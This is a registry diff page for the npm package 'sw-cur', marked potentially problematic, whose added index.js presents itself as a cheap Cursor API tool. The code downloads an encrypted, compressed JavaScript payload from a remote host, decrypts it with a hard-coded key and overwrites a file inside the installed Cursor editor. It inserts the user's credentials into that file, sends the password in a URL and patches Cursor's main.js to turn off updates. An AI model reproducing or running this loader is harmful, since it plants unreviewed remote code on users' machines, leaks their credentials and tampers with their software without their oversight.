sw-cur 0.0.1-security → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of sw-cur might be problematic. Click here for more details.
- package/README.md +3 -3
- package/index.js +297 -0
- package/package.json +13 -4
package/README.md
CHANGED
|
@@ -1,5 +1,5 @@
|
|
|
1
|
-
#
|
|
1
|
+
# sw-cursor
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
升维cursor 提供官网最便宜的api服务.
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
## 安装
|
package/index.js
ADDED
|
@@ -0,0 +1,297 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
|
|
3
|
+
const readline = require('readline');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
const crypto = require('crypto');
|
|
8
|
+
const { exec } = require('child_process');
|
|
9
|
+
const zlib = require('zlib');
|
|
10
|
+
|
|
11
|
+
const version = "1.14";
|
|
12
|
+
const apiHost = "https://t.sw2031.com";
|
|
13
|
+
const webHost = "https://cursor.sw2031.com";
|
|
14
|
+
|
|
15
|
+
// HTTP请求函数
|
|
16
|
+
function httpRequest(method, url, data) {
|
|
17
|
+
return new Promise((resolve, reject) => {
|
|
18
|
+
const options = new URL(url);
|
|
19
|
+
options.method = method;
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
const req = https.request(options, (res) => {
|
|
23
|
+
let body = '';
|
|
24
|
+
res.on('data', chunk => body += chunk);
|
|
25
|
+
res.on('end', () => {
|
|
26
|
+
// 添加状态码检查
|
|
27
|
+
if (res.statusCode >= 400) {
|
|
28
|
+
console.log(`HTTP错误: ${res.statusCode}`);
|
|
29
|
+
console.log('响应头:', res.headers);
|
|
30
|
+
console.log('响应体:', body);
|
|
31
|
+
reject(new Error(`HTTP ${res.statusCode}: ${body}`));
|
|
32
|
+
return;
|
|
33
|
+
}
|
|
34
|
+
resolve(body);
|
|
35
|
+
});
|
|
36
|
+
});
|
|
37
|
+
|
|
38
|
+
req.on('error', (error) => {
|
|
39
|
+
console.log('请求错误:', error.message);
|
|
40
|
+
reject(error);
|
|
41
|
+
});
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
req.end();
|
|
46
|
+
});
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
// AES解密函数
|
|
50
|
+
function AesDecrypt(data, key) {
|
|
51
|
+
return new Promise((resolve, reject) => {
|
|
52
|
+
try {
|
|
53
|
+
// 使用密钥的前16位作为IV
|
|
54
|
+
const iv = key.slice(0, 16);
|
|
55
|
+
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
|
|
56
|
+
let decrypted = decipher.update(data);
|
|
57
|
+
decrypted = Buffer.concat([decrypted, decipher.final()]);
|
|
58
|
+
resolve(decrypted);
|
|
59
|
+
} catch (err) {
|
|
60
|
+
reject(err);
|
|
61
|
+
}
|
|
62
|
+
});
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
// 解压缩函数
|
|
66
|
+
function Decompress(data) {
|
|
67
|
+
return new Promise((resolve, reject) => {
|
|
68
|
+
zlib.gunzip(data, (err, decompressed) => {
|
|
69
|
+
if (err) {
|
|
70
|
+
reject(err);
|
|
71
|
+
} else {
|
|
72
|
+
resolve(decompressed);
|
|
73
|
+
}
|
|
74
|
+
});
|
|
75
|
+
});
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
// 登录函数
|
|
79
|
+
async function login(user) {
|
|
80
|
+
try {
|
|
81
|
+
console.log('正在尝试登录...');
|
|
82
|
+
console.log('请求URL:', `${webHost}/api/login?username=${user.username}&password=${user.password}&t=${Date.now()}`);
|
|
83
|
+
|
|
84
|
+
const response = await httpRequest('GET', `${webHost}/api/login?username=${user.username}&password=${user.password}&t=${Date.now()}`);
|
|
85
|
+
// console.log('收到响应:', response);
|
|
86
|
+
|
|
87
|
+
const resJson = JSON.parse(response);
|
|
88
|
+
if (resJson.token) {
|
|
89
|
+
return true;
|
|
90
|
+
}
|
|
91
|
+
console.log('登录错误:', resJson.error);
|
|
92
|
+
return false;
|
|
93
|
+
} catch (err) {
|
|
94
|
+
console.log('登录错误:', err.message);
|
|
95
|
+
return false;
|
|
96
|
+
}
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
// 获取主JS文件
|
|
100
|
+
async function getMainJs() {
|
|
101
|
+
try {
|
|
102
|
+
const response = await httpRequest('GET', `${apiHost}/j?t=${Date.now()}`);
|
|
103
|
+
const resJson = JSON.parse(response);
|
|
104
|
+
return Buffer.from(resJson.data);
|
|
105
|
+
} catch (err) {
|
|
106
|
+
return null;
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
// 处理登录成功
|
|
111
|
+
async function handleLoginSuccess(user) {
|
|
112
|
+
const mainJs = await getMainJs();
|
|
113
|
+
if (!mainJs) return;
|
|
114
|
+
|
|
115
|
+
const base64Js = Buffer.from(mainJs.toString(), 'base64');
|
|
116
|
+
const decrypt = await AesDecrypt(base64Js, Buffer.from('a8f2e9c4b7d6m3k5n1p0q9r8s7t6u5v4'));
|
|
117
|
+
const unzipData = await Decompress(decrypt);
|
|
118
|
+
|
|
119
|
+
const dir = '/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist';
|
|
120
|
+
|
|
121
|
+
|
|
122
|
+
const cursorJsstr = unzipData.toString().replace('test:123456', `${user.username}:${user.password}`);
|
|
123
|
+
|
|
124
|
+
// 备份原文件
|
|
125
|
+
const backupPath = path.join(dir, 'main.js.bak');
|
|
126
|
+
if (!fs.existsSync(backupPath)) {
|
|
127
|
+
fs.copyFileSync(path.join(dir, 'main.js'), backupPath);
|
|
128
|
+
}
|
|
129
|
+
|
|
130
|
+
fs.writeFileSync(path.join(dir, 'main.js'), cursorJsstr);
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
// 检查Cursor进程
|
|
134
|
+
function checkCursorProcess() {
|
|
135
|
+
return new Promise((resolve) => {
|
|
136
|
+
// 使用 pgrep 专门查找 Cursor 进程
|
|
137
|
+
exec('pgrep -f "Cursor.app"', (err, stdout) => {
|
|
138
|
+
if (err && err.code === 1) {
|
|
139
|
+
// pgrep 返回错误码1表示没有找到进程
|
|
140
|
+
resolve(false);
|
|
141
|
+
return;
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
if (err) {
|
|
145
|
+
console.log('检查进程失败:', err);
|
|
146
|
+
resolve(false);
|
|
147
|
+
return;
|
|
148
|
+
}
|
|
149
|
+
|
|
150
|
+
resolve(!!stdout);
|
|
151
|
+
});
|
|
152
|
+
});
|
|
153
|
+
}
|
|
154
|
+
|
|
155
|
+
// 还原服务函数
|
|
156
|
+
async function restoreService() {
|
|
157
|
+
const dir = '/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist';
|
|
158
|
+
const backupPath = path.join(dir, 'main.js.bak');
|
|
159
|
+
const mainPath = path.join(dir, 'main.js');
|
|
160
|
+
|
|
161
|
+
if (!fs.existsSync(backupPath)) {
|
|
162
|
+
console.log('未找到备份文件,无法还原服务');
|
|
163
|
+
return;
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
try {
|
|
167
|
+
fs.copyFileSync(backupPath, mainPath);
|
|
168
|
+
console.log('服务已还原成功!请重新启动Cursor');
|
|
169
|
+
} catch (err) {
|
|
170
|
+
console.log('还原服务失败:', err.message);
|
|
171
|
+
}
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
// 杀死Cursor进程函数
|
|
175
|
+
function killCursorProcess() {
|
|
176
|
+
return new Promise((resolve) => {
|
|
177
|
+
exec('pkill -f "cursor"', (err) => {
|
|
178
|
+
if (err) {
|
|
179
|
+
console.log('关闭Cursor进程失败:', err.message);
|
|
180
|
+
resolve(false);
|
|
181
|
+
} else {
|
|
182
|
+
console.log('已成功关闭Cursor进程');
|
|
183
|
+
resolve(true);
|
|
184
|
+
}
|
|
185
|
+
});
|
|
186
|
+
});
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
// 显示菜单函数
|
|
190
|
+
function showMenu() {
|
|
191
|
+
console.log('\n=== Cursor 配置工具 === version:'+version);
|
|
192
|
+
console.log('1. 登录配置');
|
|
193
|
+
console.log('2. 还原服务');
|
|
194
|
+
console.log('3. 关闭Cursor进程');
|
|
195
|
+
console.log('4. 禁用Cursor自动更新');
|
|
196
|
+
|
|
197
|
+
console.log('==================\n');
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
// 检查是否有root权限
|
|
201
|
+
function checkRoot() {
|
|
202
|
+
return process.getuid && process.getuid() === 0;
|
|
203
|
+
}
|
|
204
|
+
|
|
205
|
+
// 禁用Cursor自动更新
|
|
206
|
+
async function disableAutoUpdate() {
|
|
207
|
+
const dir = '/Applications/Cursor.app/Contents/Resources/app/out/main.js';
|
|
208
|
+
try {
|
|
209
|
+
const mainContent = fs.readFileSync(dir, 'utf8');
|
|
210
|
+
const updatedContent = mainContent.replace('!!this.args["disable-updates"]', 'true');
|
|
211
|
+
fs.writeFileSync(dir, updatedContent);
|
|
212
|
+
} catch (err) {
|
|
213
|
+
console.log('禁用自动更新失败:', err.message);
|
|
214
|
+
return;
|
|
215
|
+
}
|
|
216
|
+
console.log('Cursor自动更新已禁用');
|
|
217
|
+
}
|
|
218
|
+
|
|
219
|
+
|
|
220
|
+
// 主函数
|
|
221
|
+
async function main() {
|
|
222
|
+
// 检查是否以root权限运行
|
|
223
|
+
// if (!checkRoot()) {
|
|
224
|
+
// console.log('需要管理员权限才能运行此程序');
|
|
225
|
+
// console.log('请使用 sudo 重新运行此程序');
|
|
226
|
+
// return;
|
|
227
|
+
// }
|
|
228
|
+
|
|
229
|
+
const isCursorRunning = await checkCursorProcess();
|
|
230
|
+
if (isCursorRunning) {
|
|
231
|
+
console.log('启动失败!请先关闭Cursor再运行本程序');
|
|
232
|
+
return;
|
|
233
|
+
}
|
|
234
|
+
|
|
235
|
+
const dir = '/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist';
|
|
236
|
+
if (!fs.existsSync(dir)) {
|
|
237
|
+
console.log('启动失败!请确认Cursor安装路径是否正确');
|
|
238
|
+
return;
|
|
239
|
+
}
|
|
240
|
+
|
|
241
|
+
const rl = readline.createInterface({
|
|
242
|
+
input: process.stdin,
|
|
243
|
+
output: process.stdout
|
|
244
|
+
});
|
|
245
|
+
|
|
246
|
+
while (true) {
|
|
247
|
+
showMenu();
|
|
248
|
+
const choice = await new Promise(resolve => {
|
|
249
|
+
rl.question('请选择操作 (1-3): ', resolve);
|
|
250
|
+
});
|
|
251
|
+
|
|
252
|
+
switch (choice.trim()) {
|
|
253
|
+
case '1':
|
|
254
|
+
// 最多尝试3次登录
|
|
255
|
+
for (let i = 0; i < 3; i++) {
|
|
256
|
+
const username = await new Promise(resolve => {
|
|
257
|
+
rl.question('请输入用户名: ', resolve);
|
|
258
|
+
});
|
|
259
|
+
|
|
260
|
+
const password = await new Promise(resolve => {
|
|
261
|
+
rl.question('请输入密码: ', resolve);
|
|
262
|
+
});
|
|
263
|
+
|
|
264
|
+
const user = { username: username.trim(), password: password.trim() };
|
|
265
|
+
|
|
266
|
+
if (await login(user)) {
|
|
267
|
+
console.log('登录成功');
|
|
268
|
+
await handleLoginSuccess(user);
|
|
269
|
+
console.log('Cursor网关配置成功!请重新启动Cursor');
|
|
270
|
+
rl.close();
|
|
271
|
+
return;
|
|
272
|
+
}
|
|
273
|
+
}
|
|
274
|
+
break;
|
|
275
|
+
|
|
276
|
+
case '2':
|
|
277
|
+
await restoreService();
|
|
278
|
+
rl.close();
|
|
279
|
+
return;
|
|
280
|
+
|
|
281
|
+
case '3':
|
|
282
|
+
await killCursorProcess();
|
|
283
|
+
break;
|
|
284
|
+
|
|
285
|
+
case '4':
|
|
286
|
+
await disableAutoUpdate();
|
|
287
|
+
break;
|
|
288
|
+
|
|
289
|
+
default:
|
|
290
|
+
console.log('无效的选择,请重新输入');
|
|
291
|
+
break;
|
|
292
|
+
}
|
|
293
|
+
}
|
|
294
|
+
}
|
|
295
|
+
|
|
296
|
+
// 运行主函数
|
|
297
|
+
main().catch(console.error);
|
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
|
-
|
|
3
|
-
|
|
4
|
-
|
|
5
|
-
|
|
2
|
+
"name": "sw-cur",
|
|
3
|
+
"version": "2.0.0",
|
|
4
|
+
"description": "提供全网最便宜的Cursor接口服务-升维科技",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"sw-cur": "index.js"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
11
|
+
},
|
|
12
|
+
"author": "sw-cursor",
|
|
13
|
+
"license": "ISC",
|
|
14
|
+
"keywords": []
|
|
6
15
|
}
|